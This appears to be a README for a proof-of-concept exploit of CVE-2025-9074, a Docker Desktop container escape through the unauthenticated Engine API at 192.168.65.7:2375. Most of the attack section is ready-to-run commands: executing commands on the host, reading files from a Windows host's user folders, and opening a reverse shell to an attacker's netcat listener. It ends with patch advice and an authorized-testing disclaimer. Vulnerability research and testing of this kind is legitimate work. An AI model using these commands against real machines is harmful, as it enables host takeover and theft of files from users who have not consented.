
Proof of concept exploit for CVE-2025-9074 - Unauthenticated Docker Engine API container escape affecting Docker Desktop < 4.44.3 on Windows and macOS (CVSS 9.3)
Proof of Concept exploit for CVE-2025-9074 - a critical container escape vulnerability in Docker Desktop that allows unauthenticated access to the Docker Engine API.
| Property | Value |
|---|---|
| CVE ID | CVE-2025-9074 |
| CVSS Score | 9.3 (Critical) |
| Affected Software | Docker Desktop < 4.44.3 |
| Affected Platforms | Windows, macOS (Linux NOT affected) |
| Fixed Version | Docker Desktop 4.44.3+ |
| Discoverers | Felix Boulet, Philippe Dugré |
| Discovery Date | Mid-2025 |
| Patch Date | August 20, 2025 |
The vulnerability allows containers running on Docker Desktop to access the Docker Engine API at http://192.168.65.7:2375 without authentication. This occurs regardless of:
The Docker Engine API was exposed on a TCP socket accessible from within containers, allowing:
pip3 install requests
# Execute a command on the host
python3 exploit.py -u http://192.168.65.7:2375 -m cmd -c "whoami"
# Read files from Windows host
python3 exploit.py -u http://192.168.65.7:2375 -m cmd -c "cat /hostfs/mnt/c/Users/Administrator/Desktop/root.txt"
# List users on Windows
python3 exploit.py -u http://192.168.65.7:2375 -m cmd -c "ls -la /hostfs/mnt/c/Users"
# Terminal 1: Set up listener
nc -lvnp 4444
# Terminal 2: Execute exploit
python3 exploit.py -u http://192.168.65.7:2375 -m reverse -l <YOUR_IP> -p 4444
# Once connected, host filesystem is at: /hostfs
# If you already have access to a container
curl http://192.168.65.7:2375/version
graph TD
A[Malicious Container] -->|No Auth Required| B[Docker Engine API<br/>192.168.65.7:2375]
B -->|Create Container| C[Privileged Container]
C -->|Mount Host FS| D[Full Host Access]
D -->|Read/Write| E[Compromise System]Update to Docker Desktop 4.44.3 or later immediately.
# Check your Docker Desktop version
docker --version
# Update Docker Desktop
# Windows: Download from https://desktop.docker.com/win/main/amd64/Docker%20Desktop%20Installer.exe
# macOS: Download from https://desktop.docker.com/mac/main/amd64/Docker.dmg
If immediate update is not possible:
This tool is provided for educational and authorized security testing purposes only.
MIT License - See LICENSE file for details